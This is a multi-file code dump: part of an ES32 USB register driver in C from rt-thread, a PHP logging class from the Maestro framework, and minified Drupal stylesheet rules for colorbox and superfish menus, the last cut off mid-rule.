ald_usb_host_ep_speed_set(uint32_t ep_idx, uint32_t flags) { uint32_t tmp; if (flags & USB_EP_SPEED_HIGH) tmp = USB_TYPE0_SPEED_HIGH; else if (flags & USB_EP_SPEED_FULL) tmp = USB_TYPE0_SPEED_FULL; else tmp = USB_TYPE0_SPEED_LOW; if (ep_idx == USB_EP_0) USB0->TYPE0 |= tmp; else if (flags & USB_EP_HOST_OUT) USB0->CSR[ep_idx - 1].TXxTYPE |= tmp; else USB0->CSR[ep_idx - 1].RXxTYPE |= tmp; } /** * @brief Ping the endpoint. * @param ep_idx: Index of the endpoint. * @param enable: ENABLE/DISABLE. * @retval None */ void ald_usb_host_ep_ping(uint32_t ep_idx, bool enable) { if (enable) USB0->CSR0H &= ~(USB_CSRH0_DISPING); else USB0->CSR0H |= USB_CSRH0_DISPING; } /** * @} */ /** @defgroup USB_Public_Functions_Group4 Endpoint functions * @brief Endpoint functions * @{ */ /** * @brief Gets the size of the available data. * @param ep_idx: Index of the endpoint * @retval Size in bytes. */ uint32_t ald_usb_ep_data_avail(uint32_t ep_idx) { if (ep_idx == USB_EP_0) { if ((USB0->CSR0L & USB_CSRL0_RXRDY) == 0) return 0; return USB0->COUNT0; } else { if ((USB0->CSR[ep_idx - 1].RXxCSRL & USB_CSRL0_RXRDY) == 0) return 0; return USB0->CSR[ep_idx - 1].RXxCOUNT; } } /** * @brief Gets the data from FIFO. * @param ep_idx: Index of the endpoint * @param data: Pointer to the buffer. * @param size: Size of the data. * @retval Status. */ int32_t ald_usb_ep_data_get(uint32_t ep_idx, uint8_t *data, uint32_t *size) { uint32_t i; if (ep_idx == USB_EP_0) { if ((USB0->CSR0L & USB_CSRL0_RXRDY) == 0) { *size = 0; return -1; } i = USB0->COUNT0; } else { if ((USB0->CSR[ep_idx - 1].RXxCSRL & USB_CSRL0_RXRDY) == 0) { *size = 0; return -1; } i = USB0->CSR[ep_idx - 1].RXxCOUNT; } i = (i < *size) ? i : *size; *size = i; for (; i > 0; i--) *data++ = USB0->FIFO[ep_idx].Byte[0]; return 0; } /** * @brief Puts data to the FIFO. * @param ep_idx: Index of the endpoint * @param data: Pointer to the data. * @param size: Size of the data. * @retval Status. */ int32_t ald_usb_ep_data_put(uint32_t ep_idx, uint8_t *data, uint32_t size) { if (ep_idx == USB_EP_0) { if (USB0->CSR0L & USB_CSRL0_TXRDY) return -1; } else { if (USB0->CSR[ep_idx - 1].TXxCSRL & USB_TXCSRL1_TXRDY) return -1; } for (; size > 0; size--) USB0->FIFO[ep_idx].Byte[0] = *data++; return 0; } /** * @brief Send data. * @param ep_idx: Index of the endpoint * @param tx_type: Type. * @retval Status. */ int32_t ald_usb_ep_data_send(uint32_t ep_idx, uint32_t tx_type) { uint32_t tmp; if (ep_idx == USB_EP_0) { if (USB0->CSR0L & USB_CSRL0_TXRDY) return -1; tmp = tx_type & 0xff; USB0->CSR0L = tmp; } else { if (USB0->CSR[ep_idx - 1].TXxCSRL & USB_TXCSRL1_TXRDY) return -1; tmp = (tx_type >> 8) & 0xff; USB0->CSR[ep_idx - 1].TXxCSRL = tmp; } return 0; } /** * @brief Clear the status of the toggle. * @param ep_idx: Index of the endpoint * @param flags: Flags. * @retval None */ void ald_usb_ep_data_toggle_clear(uint32_t ep_idx, uint32_t flags) { if (flags & (USB_EP_HOST_OUT | USB_EP_DEV_IN)) USB0->CSR[ep_idx - 1].TXxCSRL |= USB_TXCSRL1_CLRDT; else USB0->CSR[ep_idx - 1].RXxCSRL |= USB_RXCSRL1_CLRDT; } /** * @brief Sets the size of request data IN * @param ep_idx: Index of the endpoint * @param count: Size of request data IN. * @retval None */ void ald_usb_ep_req_packet_count(uint32_t ep_idx, uint32_t count) { USB0->EP_RQPKTCOUNT[ep_idx - 1] = count; } /** * @brief Gets the status of the endpoint. * @param ep_idx: Index of the endpoint * @retval Status. */ uint32_t ald_usb_ep_status(uint32_t ep_idx) { uint32_t status; if (ep_idx == USB_EP_0) { status = USB0->CSR0L; status |= (USB0->CSR0H) << USB_RX_EPSTATUS_SHIFT; } else { status = USB0->CSR[ep_idx - 1].TXxCSRL; status |= USB0->CSR[ep_idx - 1].TXxCSRH << 8; status |= USB0->CSR[ep_idx - 1].RXxCSRL << 16; status |= USB0->CSR[ep_idx - 1].RXxCSRH << 24; } return status; } /** * @brief Configure the endpoint in DMA mode. * @param ep_idx: Index of the endpoint * @param flag: Flags. * @param en: ENABLE/DISABLE. * @retval None */ void ald_usb_ep_dma_config(uint32_t ep_idx, uint32_t flag, type_func_t en) { if (ep_idx == USB_EP_0) return; if (en) { switch (flag) { case USB_DMA_EP_CFG_TX: USB0->CSR[ep_idx - 1].TXxCSRH |= USB_DMA_EP_TX_MSK; break; case USB_DMA_EP_CFG_RX_DEV: USB0->CSR[ep_idx - 1].RXxCSRH |= USB_DMA_EP_RX_DEV_MSK; break; case USB_DMA_EP_CFG_RX_HOST: USB0->CSR[ep_idx - 1].RXxCSRH |= USB_DMA_EP_RX_HOST_MSK; break; default: break; } } else { switch (flag) { case USB_DMA_EP_CFG_TX: USB0->CSR[ep_idx - 1].TXxCSRH &= ~(USB_DMA_EP_TX_MSK); break; case USB_DMA_EP_CFG_RX_DEV: USB0->CSR[ep_idx - 1].RXxCSRH &= ~(USB_DMA_EP_RX_DEV_MSK); break; case USB_DMA_EP_CFG_RX_HOST: USB0->CSR[ep_idx - 1].RXxCSRH &= ~(USB_DMA_EP_RX_HOST_MSK); break; default: break; } } return; } /** * @} */ /** @defgroup USB_Public_Functions_Group5 FIFO functions * @brief FIFO functions * @{ */ /** * @brief Gets the address of the FIFO. * @param ep_idx: Index of the endpoint * @retval Address */ uint32_t ald_usb_fifo_addr_get(uint32_t ep_idx) { return (uint32_t)&USB0->FIFO[ep_idx].Word; } /** * @brief Gets the parameters of the FIFO. * @param ep_idx: Index of the endpoint * @param addr: Address. * @param size: Size of FIFO. * @param flags: Flags. * @retval None */ void ald_usb_fifo_config_get(uint32_t ep_idx, uint32_t *addr, uint32_t *size, uint32_t flags) { uint32_t tmp = USB0->INDEX; USB0->INDEX = ep_idx; if (flags & (USB_EP_HOST_OUT | USB_EP_DEV_IN)) { *addr = (USB0->TXFIFOADD << 3); *size = (USB0->TXFIFOSIZE & 0xF); } else { *addr = (USB0->RXFIFOADD << 3); *size = (USB0->RXFIFOSIZE & 0xF); } USB0->INDEX = tmp; return; } /** * @brief Sets the parameters of the FIFO. * @param ep_idx: Index of the endpoint * @param addr: Address. * @param size: Size of FIFO. * @param flags: Flags. * @retval None */ void ald_usb_fifo_config_set(uint32_t ep_idx, uint32_t addr, uint32_t size, uint32_t flags) { uint32_t tmp = USB0->INDEX; USB0->INDEX = ep_idx; if (flags & (USB_EP_HOST_OUT | USB_EP_DEV_IN)) { USB0->TXFIFOADD = (addr >> 3); USB0->TXFIFOSIZE = (size & 0xF); } else { USB0->RXFIFOADD = (addr >> 3); USB0->RXFIFOSIZE = (size & 0xF); } USB0->INDEX = tmp; return; } /** * @brief Flush the FIFO * @param ep_idx: Index of the endpoint * @param flags: Flags. * @retval None */ void ald_usb_fifo_flush(uint32_t ep_idx, uint32_t flags) { if (ep_idx == USB_EP_0) { if ((USB0->CSR0L & (USB_CSRL0_RXRDY | USB_CSRL0_TXRDY)) != 0) USB0->CSR0H |= USB_CSRH0_FLUSH; } else { if (flags & (USB_EP_HOST_OUT | USB_EP_DEV_IN)) { if (USB0->CSR[ep_idx - 1].TXxCSRL & USB_TXCSRL1_TXRDY) USB0->CSR[ep_idx - 1].TXxCSRL |= USB_TXCSRL1_FLUSH; } else { if (USB0->CSR[ep_idx - 1].RXxCSRL & USB_RXCSRL1_RXRDY) USB0->CSR[ep_idx - 1].RXxCSRL |= USB_RXCSRL1_FLUSH; } } } /** * @} */ /** @defgroup USB_Public_Functions_Group6 Interrupt functions * @brief Interrupt functions * @{ */ /** * @brief Disable interrupt. * @param flags: Type of the interrupt. * @retval None */ void ald_usb_int_disable(uint32_t flags) { if (flags & USB_INTCTRL_STATUS) USB0->USBIE &= ~(flags & USB_INTCTRL_STATUS); } /** * @brief Enable interrupt. * @param flags: Type of the interrupt. * @retval None */ void ald_usb_int_enable(uint32_t flags) { if (flags & USB_INTCTRL_STATUS) USB0->USBIE |= flags ; } /** * @brief Gets the status of the interrupt. * @retval Status. */ uint32_t ald_usb_int_status_get(void) { return USB0->USBIS; } /** * @brief Disable interrupt of the endpoint. * @param flags: Type of the interrupt. * @retval None */ void ald_usb_int_disable_ep(uint32_t flags) { USB0->TXIE &= ~(flags & (USB_INTEP_HOST_OUT | USB_INTEP_DEV_IN | USB_INTEP_0)); USB0->RXIE &= ~((flags & (USB_INTEP_HOST_IN | USB_INTEP_DEV_OUT)) >> USB_INTEP_RX_SHIFT); } /** * @brief Enable interrupt of the endpoint. * @param flags: Type of the interrupt. * @retval None */ void ald_usb_int_enable_ep(uint32_t flags) { USB0->TXIE |= flags & (USB_INTEP_HOST_OUT | USB_INTEP_DEV_IN | USB_INTEP_0); USB0->RXIE |= ((flags & (USB_INTEP_HOST_IN | USB_INTEP_DEV_OUT)) >> USB_INTEP_RX_SHIFT); } /** * @brief Gets the ststus of the endpoint interrupt. * @retval Status. */ uint32_t ald_usb_int_status_ep_get(void) { uint32_t status; status = USB0->TXIS; status |= (USB0->RXIS << USB_INTEP_RX_SHIFT); return status; } /** * @brief Register USB's interrupt. * @retval None */ void ald_usb_int_register(void) { ald_mcu_irq_config(USB_INT_IRQn, 2, 2, ENABLE); } /** * @brief Unregister USB's interrupt. * @retval None */ void ald_usb_int_unregister(void) { ald_mcu_irq_config(USB_INT_IRQn, 2, 2, DISABLE); } /** * @brief Get USB's interrupt number. * @retval None */ uint32_t ald_usb_int_num_get(void) { return USB_INT_IRQn; } /** * @} */ /** @defgroup USB_Public_Functions_Group7 DMA functions * @brief DMA functions * @{ */ /** * @brief Configure DMA's channel. * @param ch: Channel. * @param addr: Address. * @param count: Size of the data to be moved. * @param ctrl: Parameters of the DMA's controler * @retval None */ void ald_usb_dma_channel_config(uint8_t ch, uint32_t addr, uint32_t count, uint32_t ctrl) { USB0->DMA_CH[ch].DMA_ADDR = addr; USB0->DMA_CH[ch].DMA_COUNT = count; USB0->DMA_CH[ch].DMA_CNTL = ctrl; return; } /** * @brief Start multiple receive. * @param ep_idx: Index of the endpoint * @retval None */ void ald_usb_dma_mult_recv_start(uint32_t ep_idx) { USB0->CSR[ep_idx - 1].RXxCSRH &= ~(USB_RXCSRH1_DMAMOD); return; } /** * @brief Start DMA's machine. * @param ch: Channel. * @retval None */ void ald_usb_dma_channel_start(uint8_t ch) { USB0->DMA_CH[ch].DMA_CNTL |= 0x1; return; } /** * @brief Stop DMA's machine. * @param ch: Channel. * @retval None */ void ald_usb_dma_channel_stop(uint8_t ch) { USB0->DMA_CH[ch].DMA_CNTL &= ~0x1; return; } /** * @brief Gets flags of the interrupt. * @retval Flags of the interrupt. */ uint32_t ald_usb_dma_get_interrupt_flag(void) { return USB0->DMA_INTR; } /** * @brief Gets the status of the error. * @param ch: Channel. * @retval Status. */ uint32_t ald_usb_dma_get_channel_error(uint8_t ch) { if (USB0->DMA_CH[ch].DMA_CNTL & USB_DMA_CH_ERR_MSK) return 1; return 0; } /** * @brief Clear the status of the error. * @param ch: Channel. * @retval None */ void ald_usb_dma_clear_channel_error(uint8_t ch) { USB0->DMA_CH[ch].DMA_CNTL &= ~(USB_DMA_CH_ERR_MSK); } /** * @} */ /** @defgroup USB_Public_Functions_Group8 LPM functions * @brief LPM functions * @{ */ /** * @brief Transmit a LPM transaction in host mode. * @param addr: Address. * @param ep_idx: Index of the endpoint. * @retval None */ void ald_usb_host_lpm_send(uint32_t addr, uint32_t ep_idx) { uint32_t tmp; USB0->LPM_FADDR = addr; tmp = USB0->LPM_ATTR & ~(USB_LPMATTR_ENDPT_M); tmp |= ep_idx << USB_LPMATTR_ENDPT_S; USB0->LPM_ATTR = tmp; USB0->LPM_CNTRL |= USB_LPMCNTRL_LPMXMT; } /** * @brief Configure the LPM parameters in host mode. * @param resume_time: Resume time. * @param config: Parameters * @retval None */ void ald_usb_host_lpm_config(uint32_t resume_time, uint32_t config) { uint32_t tmp; tmp = USB0->LPM_ATTR; tmp &= ~(USB_LPMATTR_HIRD_M); tmp |= ((((resume_time - 50) / 75) & 0xF) << USB_LPMATTR_HIRD_S); tmp |= config; USB0->LPM_ATTR = tmp; } /** * @brief Gets status of remote wakeup. * @retval Status. */ uint32_t ald_usb_lpm_remote_wake_is_enable(void) { if (USB0->LPM_ATTR & USB_LPMATTR_RMTWAK) return 1; return 0; } /** * @brief Initiate a RESUME from the L1 state in host mode. * @retval None */ void ald_usb_host_lpm_resume(void) { USB0->LPM_CNTRL |= USB_LPMCNTRL_LPMRES; } /** * @brief Enable remote wakeup in device mode. * @retval None */ void ald_usb_dev_lpm_remote_wake(void) { USB0->LPM_CNTRL |= USB_LPMCNTRL_LPMRES; } /** * @brief Enable remote wakeup in device mode. * @retval None */ void ald_usb_dev_lpm_config(uint32_t config) { USB0->LPM_CNTRL = config; } /** * @brief Enable LPM in device mode. * @retval None */ void ald_usb_dev_lpm_enable(void) { USB0->LPM_CNTRL |= (USB_LPMCNTRL_LPMXMT | USB_LPMCNTRL_ENABLE); } /** * @brief Disable LPM in device mode. * @retval None */ void ald_usb_dev_lpm_disable(void) { USB0->LPM_CNTRL &= ~(USB_LPMCNTRL_LPMXMT); } /** * @brief Gets the link status * @retval Status */ uint32_t ald_usb_lpm_link_status_get(void) { return (USB0->LPM_ATTR & USB_LPMATTR_LS_M); } /** * @brief Gets the index of the endpoint. * @retval Index of the endpoint. */ uint32_t ald_usb_lpm_ep_get(void) { uint32_t tmp; tmp = USB0->LPM_ATTR; tmp &= USB_LPMATTR_ENDPT_M; tmp = tmp >> USB_LPMATTR_ENDPT_S; return tmp; } /** * @brief Gets the status of the interrupt. * @retval Status. */ uint32_t ald_usb_lpm_int_status_get(void) { return USB0->LPM_INTR; } /** * @brief Disable the LPM interrupt. * @retval None */ void ald_usb_lpm_int_disable(uint32_t ints) { USB0->LPM_INTREN &= ~ints; } /** * @brief Enable the LPM interrupt. * @retval None */ void ald_usb_lpm_int_enable(uint32_t ints) { USB0->LPM_INTREN |= ints; } /** * @} */ /** * @} */ #endif /** * @} */ /** * @} */
onelife/rt-thread
bsp/essemi/es32f369x/libraries/ES32F36xx_ALD_StdPeriph_Driver/Source/ald_usb.c
C
gpl-2.0
28,701
<?php /* Copyright [2011, 2012, 2013] da Universidade Federal de Juiz de Fora * Este arquivo é parte do programa Framework Maestro. * O Framework Maestro é um software livre; você pode redistribuí-lo e/ou * modificá-lo dentro dos termos da Licença Pública Geral GNU como publicada * pela Fundação do Software Livre (FSF); na versão 2 da Licença. * Este programa é distribuído na esperança que possa ser útil, * mas SEM NENHUMA GARANTIA; sem uma garantia implícita de ADEQUAÇÃO a qualquer * MERCADO ou APLICAÇÃO EM PARTICULAR. Veja a Licença Pública Geral GNU/GPL * em português para maiores detalhes. * Você deve ter recebido uma cópia da Licença Pública Geral GNU, sob o título * "LICENCA.txt", junto com este programa, se não, acesse o Portal do Software * Público Brasileiro no endereço www.softwarepublico.gov.br ou escreva para a * Fundação do Software Livre(FSF) Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301, USA. */ namespace Maestro\Services; use Maestro\Manager, \Psr\Log\LogLevel; /** * Logger. */ class MLogger extends \Psr\Log\AbstractLogger { /** * Attribute Description. */ private $baseDir; /** * Indica o nivel de emissão das mensagens de log: 0 (nenhum), 1 (apenas erros) ou 2 (erros e SQL) */ private $level; /** * Attribute Description. */ private $handler; /** * Attribute Description. */ private $port; /** * Attribute Description. */ private $socket; /** * Attribute Description. */ private $host; /** * Attribute Description. */ private $peer; /** * Attribute Description. */ private $strict; public function __construct() { $conf = Manager::getConf('logs'); $this->baseDir = $conf['path']; $this->level = $conf['level']; $this->handler = $conf['handler']; $this->port = $conf['port']; $this->peer = $conf['peer']; $this->strict = $conf['strict']; if (empty($this->host)) { $this->host = $_SERVER['REMOTE_ADDR']; } } public function getLogFileName($filename) { $dir = $this->baseDir; $dir .= "/maestro"; $filename = basename($filename) . '.' . date('Y') . '-' . date('m') . '-' . date('d') . '-' . date('H') . '.log'; $file = $dir . '/' . $filename; return $file; } /** * Indica se a geração de logs está habilitada. * Complete Description. * * @returns boolean * */ public function isLogging() { return ($this->level > 0); } /** * Implementa o método log, de LoggerInterface. * * @param mixed $level * @param string $message * @param array $context * @return null */ public function log($level, $message, array $context = array()) { if ($this->isLogging()) { if (count($context) > 0) { $message = $this->interpolate($message, $context); } $handler = "Handler" . $this->handler; $this->{$handler}($message); } } /** * Brief Description. * Complete Description. * * @param $msg (tipo) desc * * @returns (tipo) desc * */ public function logMessage($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Brief Description. * Complete Description. * * @param $sql (tipo) desc * @param $force (tipo) desc * @param $conf= (tipo) desc * * @returns (tipo) desc * */ public function logSQL($sql, $db, $force = false) { if ($this->level < 2) { return; } // agrega múltiplas linhas em uma só $sql = preg_replace("/\n+ */", " ", $sql); $sql = preg_replace("/ +/", " ", $sql); // elimina espaços no início e no fim do comando SQL $sql = trim($sql); // troca aspas " em "" $sql = str_replace('"', '""', $sql); // data/hora no formato "dd/mes/aaaa:hh:mm:ss" $context['dts'] = Manager::getSysTime(); // comandos a serem logados $cmd = "/(SELECT|INSERT|DELETE|UPDATE|ALTER|CREATE|BEGIN|START|END|COMMIT|ROLLBACK|GRANT|REVOKE)(.*)/"; if ($force || preg_match($cmd, $sql)) { $context['conf'] = trim($db->getName()); $context['ip'] = substr($this->host . ' ', 0, 15); $login = Manager::getLogin(); $context['uid'] = sprintf("%-10s", ($login ? $login->getLogin() : '')); $message = $this->interpolate("[{dts}] {ip} - {conf} - {uid} : \"{$sql}\"", $context); $logfile = $this->getLogFileName($context['conf'] . '-sql'); error_log($message . "\n", 3, $logfile); $this->logMessage('[SQL]' . $message); } } /** * Brief Description. * Complete Description. * * @param $error (tipo) desc * @param $conf (tipo) desc * * @returns (tipo) desc * */ public function logError($error, $conf = 'maestro') { if ($this->level == 0) { return; } // data/hora no formato "dd/mes/aaaa:hh:mm:ss" $context['dts'] = Manager::getSysTime(); $context['ip'] = sprintf("%15s", $this->host); $login = Manager::getLogin(); $context['uid'] = sprintf("%-10s", ($login ? $login->getLogin() : '')); $message = $this->interpolate("[{dts}] {ip} - {uid} : \"{$error}\"", $context); $logfile = $this->getLogFileName($conf . '-error'); error_log($message . "\n", 3, $logfile); $this->logMessage('[ERROR]' . $message); } /** * Interpola valores do contexto com os placeholders da mensagem. */ private function interpolate($message, array $context = array()) { // build a replacement array with braces around the context keys $replace = array(); foreach ($context as $key => $val) { $replace['{' . $key . '}'] = $val; } // interpolate replacement values into the message and return return strtr($message, $replace); } /** * Brief Description. * Complete Description. * * @param $msg (tipo) desc * * @returns (tipo) desc * */ private function handlerSocket($message) { $allow = $this->strict ? ($this->strict == $this->host) : true; $host = $this->peer ? : $this->host; if ($this->port && $allow) { if (!$this->socket) { $this->socket = fsockopen($host, $this->port); if (!$this->socket) { $this->trace_socket = -1; } } $message = str_replace("\n\n","", $message); fputs($this->socket, $message . "\n"); } } /** * Brief Description. * Complete Description. * * @param $msg (tipo) desc * * @returns (tipo) desc * */ private function handlerFile($message) { $logfile = $this->baseDir . '/' . trim($this->host) . '.log'; $ts = Manager::getSysTime(); error_log($ts . ': ' . $message . "\n", 3, $logfile); } /** * Brief Description. * Complete Description. * * @param $msg (tipo) desc * * @returns (tipo) desc * */ private function handlerDb($message) { $login = Manager::getLogin(); $uid = ($login ? $login->getLogin() : ''); $ts = Manager::getSysTime(); $db = Manager::getDatabase('manager'); $idLog = $db->getNewId('seq_manager_log'); $sql = new MSQL('idlog, timestamp, login, msg, host', 'manager_log'); $db->execute($sql->insert(array($idLog, $ts, $uid, $message, $this->host))); } }
HexSource/maestro2
Maestro/Services/MLogger.php
PHP
gpl-2.0
8,269
#colorbox,#cboxOverlay,#cboxWrapper{position:absolute;top:0;left:0;z-index:9999;overflow:hidden;}#cboxOverlay{position:fixed;width:100%;height:100%;}#cboxMiddleLeft,#cboxBottomLeft{clear:left;}#cboxContent{position:relative;}#cboxLoadedContent{overflow:auto;}#cboxTitle{margin:0;}#cboxLoadingOverlay,#cboxLoadingGraphic{position:absolute;top:0;left:0;width:100%;}#cboxPrevious,#cboxNext,#cboxClose,#cboxSlideshow{cursor:pointer;}.cboxPhoto{float:left;margin:auto;border:0;display:block;}.cboxIframe{width:100%;height:100%;display:block;border:0;}#cboxOverlay{background:#000;}#colorBox{}#cboxWrapper{background:#fff;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;}#cboxTopLeft{width:15px;height:15px;}#cboxTopCenter{height:15px;}#cboxTopRight{width:15px;height:15px;}#cboxBottomLeft{width:15px;height:10px;}#cboxBottomCenter{height:10px;}#cboxBottomRight{width:15px;height:10px;}#cboxMiddleLeft{width:15px;}#cboxMiddleRight{width:15px;}#cboxContent{background:#fff;overflow:hidden;font:12px "Lucida Grande",Verdana,Arial,sans-serif;}#cboxError{padding:50px;border:1px solid #ccc;}#cboxLoadedContent{margin-bottom:28px;}#cboxTitle{position:absolute;background:rgba(255,255,255,0.7);bottom:28px;left:0;color:#535353;width:100%;padding:4px;}#cboxCurrent{position:absolute;bottom:4px;left:60px;color:#949494;}.cboxSlideshow_on #cboxSlideshow{position:absolute;bottom:0px;right:30px;background:url(/sites/all/modules/colorbox/styles/default/images/controls.png) -75px -50px no-repeat;width:25px;height:25px;text-indent:-9999px;}.cboxSlideshow_on #cboxSlideshow.hover{background-position:-101px -50px;}.cboxSlideshow_off #cboxSlideshow{position:absolute;bottom:0px;right:30px;background:url(/sites/all/modules/colorbox/styles/default/images/controls.png) -49px -50px no-repeat;width:25px;height:25px;text-indent:-9999px;}.cboxSlideshow_off #cboxSlideshow.hover{background-position:-25px -50px;}#cboxPrevious{position:absolute;bottom:0;left:0;background:url(/sites/all/modules/colorbox/styles/default/images/controls.png) -75px 0px no-repeat;width:25px;height:25px;text-indent:-9999px;}#cboxPrevious.hover{background-position:-75px -25px;}#cboxNext{position:absolute;bottom:0;left:27px;background:url(/sites/all/modules/colorbox/styles/default/images/controls.png) -50px 0px no-repeat;width:25px;height:25px;text-indent:-9999px;}#cboxNext.hover{background-position:-50px -25px;}#cboxLoadingOverlay{background:#fff;}#cboxLoadingGraphic{background:url(/sites/all/modules/colorbox/styles/default/images/loading_animation.gif) center center no-repeat;}#cboxClose{position:absolute;bottom:0;right:0;background:url(/sites/all/modules/colorbox/styles/default/images/controls.png) -25px 0px no-repeat;width:25px;height:25px;text-indent:-9999px;}#cboxClose.hover{background-position:-25px -25px;}.cboxIE6 #cboxTitle{background:#fff;} .ctools-locked{color:red;border:1px solid red;padding:1em;}.ctools-owns-lock{background:#FFFFDD none repeat scroll 0 0;border:1px solid #F0C020;padding:1em;}a.ctools-ajaxing,input.ctools-ajaxing,button.ctools-ajaxing,select.ctools-ajaxing{padding-right:18px !important;background:url(/sites/all/modules/ctools/images/status-active.gif) right center no-repeat;}div.ctools-ajaxing{float:left;width:18px;background:url(/sites/all/modules/ctools/images/status-active.gif) center center no-repeat;} .sf-menu,.sf-menu *{list-style:none;margin:0;padding:0;}.sf-menu{line-height:1.0;z-index:497;}.sf-menu ul{left:0;position:absolute;top:-99999em;width:12em;}.sf-menu ul li{width:100%;}.sf-menu li{float:left;position:relative;z-index:498;}.sf-menu a{display:block;position:relative;}.sf-menu li:hover,.sf-menu li.sfHover,.sf-menu li:hover ul,.sf-menu li.sfHover ul{z-index:499;}.sf-menu li:hover > ul,.sf-menu li.sfHover > ul{left:0;top:2.5em;}.sf-menu li li:hover > ul,.sf-menu li li.sfHover > ul{left:12em;top:0;}.sf-menu a.sf-with-ul{min-width:1px;}.sf-sub-indicator{background:url(/sites/all/libraries/superfish/images/arrows-ffffff.png) no-repeat -10px -100px;display:block;height:10px;overflow:hidden;position:absolute;right:0.75em;text-indent:-999em;top:1.05em;width:10px;}a > .sf-sub-indicator{top:0.8em;background-position:0 -100px;}a:focus > .sf-sub-indicator,a:hover > .sf-sub-indicator,a:active > .sf-sub-indicator,li:hover > a > .sf-sub-indicator,li.sfHover > a > .sf-sub-indicator{background-position:-10px -100px;}.sf-menu ul .sf-sub-indicator{background-position:-10px 0;}.sf-menu ul a > .sf-sub-indicator{background-position:0 0;}.sf-menu ul a:focus > .sf-sub-indicator,.sf-menu ul a:hover > .sf-sub-indicator,.sf-menu ul a:active > .sf-sub-indicator,.sf-menu ul li:hover > a > .sf-sub-indicator,.sf-menu ul li.sfHover > a > .sf-sub-indicator{background-position:-10px 0;}.sf-menu.sf-horizontal.sf-shadow ul,.sf-menu.sf-vertical.sf-shadow ul,.sf-menu.sf-navbar.sf-shadow ul ul{background:url(/sites/all/libraries/superfish/images/shadow.png) no-repeat right bottom;padding:0 8px 9px 0 !important;-webkit-border-top-right-radius:8px;-webkit-border-bottom-left-radius:8px;-moz-border-radius-topright:8px;-moz-border-radius-bottomleft:8px;border-top-right-radius:8px;border-bottom-left-radius:8px;}.sf-shadow ul.sf-shadow-off{background:transparent;}.sf-menu.rtl,.sf-menu.rtl li{float:right;}.sf-menu.rtl li:hover > ul,.sf-menu.rtl li.sfHover > ul{left:auto;right:0;}.sf-menu.rtl li li:hover > ul,.sf-menu.rtl li li.sfHover > ul{left:auto;right:12em;}.sf-menu.rtl ul{left:auto;right:0;}.sf-menu.rtl .sf-sub-indicator{left:0.75em;right:auto;background:url(/sites/all/libraries/superfish/images/arrows-ffffff-rtl.png) no-repeat -10px -100px;}.sf-menu.rtl a > .sf-sub-indicator{top:0.8em;background-position:-10px -100px;}.sf-menu.rtl a:focus > .sf-sub-indicator,.sf-menu.rtl a:hover > .sf-sub-indicator,.sf-menu.rtl a:active > .sf-sub-indicator,.sf-menu.rtl li:hover > a > .sf-sub-indicator,.sf-menu.rtl li.sfHover > a > .sf-sub-indicator{background-position:0 -100px;}.sf-menu.rtl ul .sf-sub-indicator{background-position:0 0;}.sf-menu.rtl ul a > .sf-sub-indicator{background-position:-10px 0;}.sf-menu.rtl ul a:focus > .sf-sub-indicator,.sf-menu.rtl ul a:hover > .sf-sub-indicator,.sf-menu.rtl ul a:active > .sf-sub-indicator,.sf-menu.rtl ul li:hover > a > .sf-sub-indicator,.sf-menu.rtl ul li.sfHover > a > .sf-sub-indicator{background-position:0 0;}.sf-menu.rtl.sf-horizontal.sf-shadow ul,.sf-menu.rtl.sf-vertical.sf-shadow ul,.sf-menu.rtl.sf-navbar.sf-shadow ul ul{background-position:bottom left;padding:0 0 9px 8px !important;-webkit-border-radius:8px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:0;-moz-border-radius:8px;-moz-border-radius-topright:0;-moz-border-radius-bottomleft:0;border-radius:8px;border-top-right-radius:0;border-bottom-left-radius:0;}.sf-vertical.rtl li:hover > ul,.sf-vertical.rtl li.sfHover > ul{left:auto;right:12em;}.sf-vertical.rtl .sf-sub-indicator{background-position:-10px 0;}.sf-vertical.rtl a > .sf-sub-indicator{background-position:0 0;}.sf-vertical.rtl a:focus > .sf-sub-indicator,.sf-vertical.rtl a:hover > .sf-sub-indicator,.sf-vertical.rtl a:active > .sf-sub-indicator,.sf-vertical.rtl li:hover > a > .sf-sub-indicator,.sf-vertical.rtl li.sfHover > a > .sf-sub-indicator{background-position:-10px 0;}.sf-navbar.rtl li li{float:right;}.sf-navbar.rtl ul .sf-sub-indicator{background-position:0 -100px;}.sf-navbar.rtl ul a > .sf-sub-indicator{background-position:-10px -100px;}.sf-navbar.rtl ul a:focus > .sf-sub-indicator,.sf-navbar.rtl ul a:hover > .sf-sub-indicator,.sf-navbar.rtl ul a:active > .sf-sub-indicator,.sf-navbar.rtl ul li:hover > a > .sf-sub-indicator,.sf-navbar.rtl ul li.sfHover > a > .sf-sub-indicator{background-position:0 -100px;}.sf-navbar.rtl ul ul .sf-sub-indicator{background-position:0 0;}.sf-navbar.rtl ul ul a > .sf-sub-indicator{background-position:-10px 0;}.sf-navbar.rtl ul ul a:focus > .sf-sub-indicator,.sf-navbar.rtl ul ul a:hover > .sf-sub-indicator,.sf-navbar.rtl ul ul a:active > .sf-sub-indicator,.sf-navbar.rtl ul ul li:hover > a > .sf-sub-indicator,.sf-navbar.rtl ul ul li.sfHover > a > .sf-sub-indicator{background-position:0 0;}.sf-navbar.rtl li li:hover > ul,.sf-navbar.rtl li li.sfHover > ul{left:auto;right:0;}.sf-navbar.rtl li li li:hover > ul,.sf-navbar.rtl li li li.sfHover > ul{left:auto;right:12em;}.sf-navbar.rtl > li > ul{background:transparent;padding:0;-moz-border-radius-bottomright:0;-moz-border-radius-topleft:0;-webkit-border-top-left-radius:0;-webkit-border-bottom-right-radius:0;} .sf-vertical,.sf-vertical li{width:12em;}.sf-vertical li:hover > ul,.sf-vertical li.sfHover > ul{left:12em;top:0;}.sf-vertical .sf-sub-indicator{background-position:-10px 0;}.sf-vertical a > .sf-sub-indicator{background-position:0 0;}.sf-vertical a:focus > .sf-sub-indicator,.sf-vertical a:hover > .sf-sub-indicator,.sf-vertical a:active > .sf-sub-indicator,.sf-vertical li:hover > a > .sf-sub-indicator,.sf-vertical li.sfHover > a > .sf-sub-indicator{background-position:-10px 0;} .sf-navbar{position:relative;}.sf-navbar li{position:static;}.sf-navbar li li{position:relative;}.sf-navbar li ul,.sf-navbar li li li{width:100%;}.sf-navbar li li{width:auto;float:left;}.sf-navbar li li:hover > ul,.sf-navbar li li.sfHover > ul,.sf-navbar > li.active-trail > ul{left:0;top:2.5em;}.sf-navbar li li li:hover > ul,.sf-navbar li li 